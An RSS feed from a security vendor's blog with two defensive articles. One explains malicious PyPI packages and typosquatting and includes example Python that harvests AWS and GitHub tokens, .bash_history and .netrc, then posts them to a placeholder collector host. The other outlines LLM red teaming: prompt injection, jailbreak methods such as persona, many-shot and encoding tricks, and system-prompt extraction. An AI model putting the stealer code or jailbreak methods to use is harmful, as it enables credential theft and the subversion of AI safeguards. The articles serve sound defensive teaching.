<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Loginsoft</title>
    <description>The latest articles on DEV Community by Loginsoft (@loginsoft).</description>
    <link>https://dev.to/loginsoft</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3926501%2Fbdd9a07e-4198-49bc-8291-eedafafbc222.png</url>
      <title>DEV Community: Loginsoft</title>
      <link>https://dev.to/loginsoft</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/loginsoft"/>
    <language>en</language>
    <item>
      <title>What Happens When You pip install a Malicious Python Package?</title>
      <dc:creator>Loginsoft</dc:creator>
      <pubDate>Thu, 10 Sep 2026 05:01:27 +0000</pubDate>
      <link>https://dev.to/loginsoft/what-happens-when-you-pip-install-a-malicious-python-package-1216</link>
      <guid>https://dev.to/loginsoft/what-happens-when-you-pip-install-a-malicious-python-package-1216</guid>
      <description>&lt;p&gt;A developer runs pip install. Nothing crashes. No ransomware appears. No antivirus alert fires. Thirty seconds later, a Python process makes an outbound connection to infrastructure nobody on the team recognizes. &lt;/p&gt;

&lt;p&gt;Recent 2026 incidents show how quickly this can become a compromise. Malicious PyPI packages have been downloaded and executed by real systems, proving that developer workstations, CI pipelines, and security environments can themselves become targets.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Typosquatting Trick
&lt;/h2&gt;

&lt;p&gt;Typosquatting is an attack technique where an attacker creates a name that closely resembles a trusted one, hoping users or automated systems will overlook the difference. In software supply chains, this can mean registering a malicious package with a name similar to a popular PyPI dependency. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;requests &lt;br&gt;
reqeusts &lt;/p&gt;

&lt;p&gt;One transposed letter can be enough. A developer may miss it in a pull request, and a CI pipeline will install it if the dependency name is not independently validated. Unlike a vulnerability in the legitimate package, package typosquatting targets the dependency-selection process itself. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common package typosquatting techniques include:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkodmg77u1twvg4ck0v1o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkodmg77u1twvg4ck0v1o.png" alt=" " width="799" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The risk is especially high when developers install packages directly from public registries or when CI pipelines automatically resolve dependencies. A familiar-looking package name is not proof that the package is legitimate. &lt;/p&gt;

&lt;p&gt;For stronger protection, validate package names against approved dependencies, review new or unexpected packages, use lockfiles and hash verification, and route dependencies through a controlled internal registry where possible.&lt;/p&gt;
&lt;h2&gt;
  
  
  PyPI Is a Registry, not a Security Guarantee
&lt;/h2&gt;

&lt;p&gt;PyPI is a public package registry, not a security-vetting service. Its role is to distribute Python packages; it does not independently verify that every package or release is free from malicious code before developers can install it. Python's packaging model also allows installation and builds processes to execute code, meaning a compromised package can become a security risk before an application ever imports it.  &lt;/p&gt;

&lt;p&gt;The risk extends beyond fake packages and typosquatting. Attackers can compromise a maintainer account or publishing pipeline and release malicious code under the name of a legitimate, trusted project. That means a correct package name, a familiar publisher, or even a previously trusted version of history is not by itself proof of safety. Every package should be treated as untrusted until its integrity, provenance, and behavior have been verified.&lt;/p&gt;
&lt;h2&gt;
  
  
  What the Malware Looks For
&lt;/h2&gt;

&lt;p&gt;Once malicious code executes on a developer workstation or CI runner, attackers can search for credentials and environment information. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common targets include:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS credentials &lt;/li&gt;
&lt;li&gt;GitHub tokens &lt;/li&gt;
&lt;li&gt;CI/CD secrets &lt;/li&gt;
&lt;li&gt;SSH keys &lt;/li&gt;
&lt;li&gt;Private registry credentials &lt;/li&gt;
&lt;li&gt;Environment variables &lt;/li&gt;
&lt;li&gt;Shell history &lt;/li&gt;
&lt;li&gt;.netrc &lt;/li&gt;
&lt;li&gt;Cloud CLI configuration &lt;/li&gt;
&lt;li&gt;Kubernetes credentials&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; 
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt; 

&lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt; 

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; 
   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GITHUB_TOKEN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="p"&gt;):&lt;/span&gt; 
   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; 
       &lt;span class="n"&gt;targets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; 

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.bash_history&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.netrc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; 
   &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;home&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; 
   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; 
       &lt;span class="n"&gt;targets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ignore&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;4000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker does not need direct access to production. &lt;/p&gt;

&lt;p&gt;A stolen GitHub token can provide repository access. A cloud credential can expose infrastructure. A package-registry token can enable further supply-chain attacks. &lt;/p&gt;

&lt;p&gt;The package has turned a dependency installation into an initial-access opportunity. &lt;/p&gt;

&lt;h2&gt;
  
  
  Exfiltration Can Look Like Normal HTTPS
&lt;/h2&gt;

&lt;p&gt;The stolen data can then be sent to attacker-controlled infrastructure: &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A simplified example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt; 
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt; 

&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; 
   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://example-collector.invalid/v1/events&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
   &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; 
       &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gethostname&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; 
       &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;targets&lt;/span&gt; 
   &lt;span class="p"&gt;},&lt;/span&gt; 
   &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; 
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HTTPS makes the traffic look ordinary at the network layer. A domain may even be designed to resemble a telemetry or analytics service. &lt;/p&gt;

&lt;p&gt;This is why software supply-chain security cannot rely exclusively on vulnerability databases. A newly created credential stealer may have no CVE, no security advisory, and no reputation history. &lt;/p&gt;

&lt;h2&gt;
  
  
  Why Traditional Dependency Controls Are Not Enough
&lt;/h2&gt;

&lt;p&gt;Several controls help, but each addresses a different risk. &lt;/p&gt;

&lt;h3&gt;
  
  
  Pin your dependencies
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;requests==2.32.4 &lt;/p&gt;

&lt;p&gt;Version pinning prevents unexpected upgrades, but it does not guarantee that the selected release is benign. &lt;/p&gt;

&lt;h3&gt;
  
  
  Verify hashes
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;pip install --require-hashes -r requirements.txt &lt;/p&gt;

&lt;p&gt;Hash verification ensures that you receive the exact artifact you approved. &lt;/p&gt;

&lt;p&gt;It does not prove that the approved artifact itself is safe. &lt;/p&gt;

&lt;h3&gt;
  
  
  Run vulnerability audits
&lt;/h3&gt;

&lt;p&gt;For example: &lt;/p&gt;

&lt;p&gt;pip-audit -r requirements.txt &lt;/p&gt;

&lt;p&gt;pip-audit can identify known vulnerabilities, but a brand-new malicious package may have no CVE at all. &lt;/p&gt;

&lt;h3&gt;
  
  
  Use private registries
&lt;/h3&gt;

&lt;p&gt;A private registry can prevent developers and CI from directly pulling packages from the public internet. &lt;/p&gt;

&lt;p&gt;But simply mirroring PyPI does not solve the problem. If malicious packages are mirrored automatically, the organization has only moved the attack surface. &lt;/p&gt;

&lt;p&gt;The stronger approach is to inspect and approve packages before they enter the trusted dependency pool. &lt;/p&gt;

&lt;h2&gt;
  
  
  A Safer PyPI Workflow
&lt;/h2&gt;

&lt;p&gt;A mature software supply-chain process should combine multiple controls: &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PyPI&lt;/strong&gt; – Source of the Python package.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dependency verification&lt;/strong&gt; – Confirm the package name, version, publisher, and dependency tree.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Provenance + integrity checks&lt;/strong&gt; – Verify the artifact’s origin, signatures, and hashes.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static malware analysis&lt;/strong&gt; – Inspect the package for suspicious or malicious code.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sandbox / behavioral analysis&lt;/strong&gt; – Safely execute suspicious packages and observe their behavior.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability scanning&lt;/strong&gt; – Identify known vulnerabilities in the package and its dependencies.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approved internal registry&lt;/strong&gt; – Store verified packages in a controlled private repository.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CI/CD&lt;/strong&gt; – Allow builds to consume only approved dependencies.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Runtime + egress monitoring&lt;/strong&gt; – Monitor package behavior, processes, and unexpected outbound connecti&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3ke4uj3qkxjpv26h9sv2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3ke4uj3qkxjpv26h9sv2.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa91cuyvixfkywc4sa682.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa91cuyvixfkywc4sa682.png" alt=" " width="800" height="314"&gt;&lt;/a&gt;&lt;br&gt;
No single control is sufficient. &lt;/p&gt;

&lt;h2&gt;
  
  
  The Most Important Control: Reduce What the Package Can Reach
&lt;/h2&gt;

&lt;p&gt;A malicious package is far less dangerous when it runs in an environment with: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No production credentials &lt;/li&gt;
&lt;li&gt;Short-lived, least-privileged tokens &lt;/li&gt;
&lt;li&gt;Restricted network access &lt;/li&gt;
&lt;li&gt;No customer data &lt;/li&gt;
&lt;li&gt;Ephemeral build environments &lt;/li&gt;
&lt;li&gt;Process and network monitoring &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This matters especially for CI systems. &lt;/p&gt;

&lt;p&gt;Security scanners, build runners, and automated agents frequently install packages automatically. If those environments contain powerful credentials, a malicious dependency can turn the security or development pipeline into the attacker's entry point. &lt;/p&gt;

&lt;p&gt;The Real Problem Isn't pip install &lt;/p&gt;

&lt;p&gt;The command itself is harmless. &lt;/p&gt;

&lt;p&gt;The assumption behind it is not. &lt;/p&gt;

&lt;p&gt;When you run: &lt;/p&gt;

&lt;p&gt;pip install some-package &lt;/p&gt;

&lt;p&gt;you are trusting the package, its publisher, its release, its build process, and its dependencies. &lt;/p&gt;

&lt;p&gt;That is a much larger trust decision than most development teams realize. &lt;/p&gt;

&lt;p&gt;The answer is not to stop using PyPI or open source. It is to stop treating package installation as trusted by default. &lt;/p&gt;

&lt;p&gt;Verify what you install. Analyze what you cannot verify. Isolate what you execute. Monitor what it does. Restrict the credentials it can reach. &lt;/p&gt;

&lt;p&gt;For organizations that need continuous visibility into open-source dependencies, vulnerabilities, and software supply-chain exposure, Loginsoft's&lt;a href="https://www.loginsoft.com/software-supply-chain-security/software-composition-analysis" rel="noopener noreferrer"&gt; OSS Software Composition Analysis&lt;/a&gt; helps teams identify and manage risks across their open-source dependency landscape. &lt;/p&gt;

&lt;h2&gt;
  
  
  FAQs
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. What is a malicious PyPI package?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;A malicious PyPI package is a Python dependency designed to perform harmful actions, such as stealing credentials, executing commands, or exfiltrating data. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. How do attackers use PyPI typosquatting?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Attackers publish packages with names that closely resemble legitimate dependencies, such as reqeusts instead of requests, hoping developers or CI pipelines will install them. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Can pip-audit detect malicious PyPI packages?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;pip-audit primarily identifies known vulnerabilities in dependencies. A newly created malicious package may have no CVE and can therefore evade traditional vulnerability scanning. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. How can organizations protect against malicious PyPI packages?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Use dependency pinning, hash verification, provenance checks, malware analysis, sandboxing, private registries, restricted CI credentials, and runtime network monitoring. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Why should PyPI packages be treated as untrusted code?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Packages can contain installation or build-time code that executes before an application runs. Treating dependencies as untrusted helps prevent malicious packages from accessing credentials or internal systems.&lt;/p&gt;

</description>
      <category>pypisecurity</category>
      <category>softwaresupplychainsecurity</category>
      <category>devsecops</category>
      <category>opensourcesecurity</category>
    </item>
    <item>
      <title>LLM Red Teaming: How to Test Your AI for Prompt Injection, Jailbreaks, and Data Leakage</title>
      <dc:creator>Loginsoft</dc:creator>
      <pubDate>Fri, 28 Aug 2026 04:29:29 +0000</pubDate>
      <link>https://dev.to/loginsoft/llm-red-teaming-how-to-test-your-ai-for-prompt-injection-jailbreaks-and-data-leakage-2p91</link>
      <guid>https://dev.to/loginsoft/llm-red-teaming-how-to-test-your-ai-for-prompt-injection-jailbreaks-and-data-leakage-2p91</guid>
      <description>&lt;p&gt;Every security team knows how to test a web application. Scan the code, fuzz the inputs, check the auth flows. That playbook is decades old. “LLMs fundamentally change the security testing model.” &lt;/p&gt;

&lt;p&gt;When your product is powered by a large language model, the attack surface extends far beyond the codebase. It is a probabilistic system responding to unbounded natural language, connected to tools and APIs, and manipulable through the very content it is designed to process. Traditional scanners do not find these vulnerabilities. And the failure modes, leaking a system prompt, executing injected instructions from a malicious document, bypassing safety alignment on demand, are not typically represented as conventional CVE entries. &lt;/p&gt;

&lt;p&gt;This is why LLM red teaming, a specialized form of LLM security testing, exists. For cybersecurity teams, security engineers, and AI/platform engineers shipping AI-powered products, understanding it is no longer optional. &lt;/p&gt;

&lt;h2&gt;
  
  
  What Is LLM Red Teaming?
&lt;/h2&gt;

&lt;p&gt;LLM red teaming is the structured practice of testing LLM-powered systems with adversarial inputs to identify security vulnerabilities, safety failures, and policy violations before and after production deployment. &lt;/p&gt;

&lt;p&gt;LLM security testing accounts for the probabilistic nature of model behavior. A jailbreak may succeed in some runs and fail in others, making repeated testing essential. Track Attack Success Rate (ASR) rather than relying on a single pass/fail result.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ASR = Successful attack outcomes ÷ Total attempts&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;For example, if a jailbreak succeeds in 37 of 100 attempts, its ASR is 37%. Security teams can compare ASR across attack types, mitigations, and model versions. However, ASR measures exploitability, not business impact, so findings should also be prioritized by severity and potential impact. &lt;/p&gt;

&lt;p&gt;LLM red teaming can be organized around four practical testing areas: &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alignment layer:&lt;/strong&gt; Tests jailbreaks, persona injection, and many-shot manipulation that attempt to bypass safety controls. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Instruction-following layer:&lt;/strong&gt; Tests prompt injection and other attacks that attempt to override intended instructions. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inference boundary:&lt;/strong&gt; Tests indirect prompt injection through RAG content and tool-call manipulation in agentic systems. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context and representation:&lt;/strong&gt; Tests long-context behavior, tokenization of edge cases, encoding, and obfuscation techniques. &lt;/p&gt;

&lt;p&gt;Evaluation can combine deterministic checks, automated evaluators, human review, or secondary LLM judges, each of which can introduce false positives or false negatives. OWASP GenAI LLM Top 10 and MITRE ATLAS provide useful taxonomies for organizing and evaluating these attacks. &lt;/p&gt;

&lt;h2&gt;
  
  
  How LLM Red Teaming Differs from Traditional Penetration Testing
&lt;/h2&gt;

&lt;p&gt;Traditional penetration testing often targets deterministic application behavior: a SQL injection either exposes unauthorized data, or it does not. LLM red teaming is different because model behavior is probabilistic and depends on training, alignment, and context. The same attack may succeed in one run and fail in another, requiring continuous and statistical evaluation rather than point-in-time testing. &lt;/p&gt;

&lt;h2&gt;
  
  
  Common LLM Attack Vectors
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Prompt Injection
&lt;/h3&gt;

&lt;p&gt;Prompt injection uses crafted inputs to manipulate an LLM into deviating from its intended instructions or following attacker-controlled instructions embedded in content it processes. &lt;/p&gt;

&lt;p&gt;Direct prompt injection targets user inputs, while indirect prompt injection places malicious instructions in external content such as documents, emails, web pages, or database records. This makes indirect injection a key security concern for RAG applications and agentic AI systems. &lt;/p&gt;

&lt;p&gt;MITRE ATLAS tracks prompt injection as LLM Prompt Injection (AML.T0051), including indirect injection techniques. &lt;/p&gt;

&lt;h3&gt;
  
  
  2. Jailbreaks
&lt;/h3&gt;

&lt;p&gt;Jailbreaks attempt to bypass an LLM's safety controls and produce content the model is designed to refuse. Common approaches include: &lt;/p&gt;

&lt;p&gt;Persona attacks: Attempt to make the model adopt an unrestricted identity. &lt;/p&gt;

&lt;p&gt;Many-shot attacks: Use large numbers of fabricated examples to influence model behavior. &lt;/p&gt;

&lt;p&gt;Encoding and obfuscation: Use Base64, Unicode, character substitution, or multilingual transformations to evade filters. &lt;/p&gt;

&lt;p&gt;Jailbreak effectiveness varies across models and defensive architectures, making repeated testing important. &lt;/p&gt;

&lt;h3&gt;
  
  
  3. Data Leakage
&lt;/h3&gt;

&lt;p&gt;LLM data leakage testing evaluates whether a model exposes information it should not be revealed. Key categories include: &lt;/p&gt;

&lt;p&gt;System prompt disclosure: Extraction of hidden instructions, policies, or tool definitions. &lt;/p&gt;

&lt;p&gt;Context and RAG leakage: Exposure of retrieved documents, session data, or another protected context. &lt;/p&gt;

&lt;p&gt;Training-data extraction: Attempts to reproduce memorized information from training or fine-tuning data. &lt;/p&gt;

&lt;p&gt;These risks should be evaluated separately because their security impact and appropriate mitigations differ. &lt;/p&gt;

&lt;h3&gt;
  
  
  4. Agent and API Misuse
&lt;/h3&gt;

&lt;p&gt;When an LLM can access tools, APIs, files, or external systems, successful attacks can result in actions beyond text generation, including unauthorized data access, API calls, email transmission, or file deletion. &lt;/p&gt;

&lt;p&gt;Security testing should therefore monitor tool identity, caller identity, parameters, authorization status, data destinations, action reversibility, and results. &lt;/p&gt;

&lt;h2&gt;
  
  
  Defenses for LLM Applications
&lt;/h2&gt;

&lt;p&gt;Effective LLM security requires multiple layers of protection. A system prompt is not a security boundary; application and infrastructure controls must enforce security independently. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key defenses include:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Separate trusted and untrusted content: Treat retrieved documents and external content as untrusted data, not executable instructions. &lt;/li&gt;
&lt;li&gt;Apply least privilege: Give AI agents only the tools and permissions required for their tasks. &lt;/li&gt;
&lt;li&gt;Validate tool arguments independently: Enforce authorization and parameter validation at the application layer before tool execution. &lt;/li&gt;
&lt;li&gt;Validate model outputs: Treat LLM-generated output as untrusted and validate it before passing it to APIs, databases, shells, or other interpreters. &lt;/li&gt;
&lt;li&gt;Run statistical security tests in CI: Execute LLM red-team probes repeatedly, track Attack Success Rate (ASR) by attack category, and rerun tests whenever the model, prompts, retrieval pipeline, or tool integrations change.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach turns LLM red teaming from a pre-production security check into continuous AI security testing throughout the development lifecycle. &lt;/p&gt;

&lt;h2&gt;
  
  
  Securing RAG Pipelines
&lt;/h2&gt;

&lt;p&gt;RAG security requires additional controls because retrieved content may contain attacker-controlled instructions that attempt to influence model behavior. Key practices include: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Treat retrieved documents as untrusted content and keep them separate from system instructions. &lt;/li&gt;
&lt;li&gt;Enforce authorization at the data-access layer, before retrieval, rather than relying on the LLM. &lt;/li&gt;
&lt;li&gt;Never allow retrieved content to directly define tool parameters. &lt;/li&gt;
&lt;li&gt;Log the complete retrieval-to-tool-call chain for auditing. &lt;/li&gt;
&lt;li&gt;Continuously test RAG pipelines with malicious documents and adversarial inputs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Building an LLM Red Teaming Program
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;A structured LLM red teaming program can follow six steps:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Define assets:&lt;/strong&gt; Identify system prompts, secrets, PII, retrieval data, API credentials, tools, and high-impact actions. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Define attack categories:&lt;/strong&gt; Map the application to OWASP LLM Top 10 and MITRE ATLAS, prioritizing indirect injection and tool misuse for agentic systems. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build a probe corpus:&lt;/strong&gt; Use datasets such as AdvBench, HarmBench, and JailbreakBench, supplemented with application-specific probes. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Run statistical trials:&lt;/strong&gt; Execute probes repeatedly and measure Attack Success Rate (ASR) instead of relying on single-run results. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Evaluate impact:&lt;/strong&gt; Prioritize findings based on data disclosure, unauthorized actions, privilege escalation, and other business impacts. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Remediate and regression test:&lt;/strong&gt; Update controls, permissions, prompts, and filters, then rerun the probe suite to verify fixes and detect regressions. &lt;/p&gt;

&lt;h2&gt;
  
  
  LLM Red Teaming Tools
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Garak:&lt;/strong&gt; Automated probing for prompt injection, jailbreaks, and data leakage. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Microsoft PyRIT:&lt;/strong&gt; Multi-turn adversarial testing and orchestrated attack strategies for enterprise red team programs. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Promptfoo:&lt;/strong&gt; LLM regression testing with CI/CD integration and LLM-as-judge evaluation. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion:
&lt;/h2&gt;

&lt;p&gt;LLM red teaming extends traditional application security into probabilistic, language-driven systems, helping identify risks such as prompt injection, jailbreaks, data leakage, and unauthorized tool actions. By combining systematic adversarial testing, layered defenses, and continuous evaluation, organizations can make red teaming part of the broader AI security lifecycle. Loginsoft’s AI Model Validation service supports LLM-powered applications through adversarial testing, safety benchmarking, agentic system security reviews, and continuous red team automation. &lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

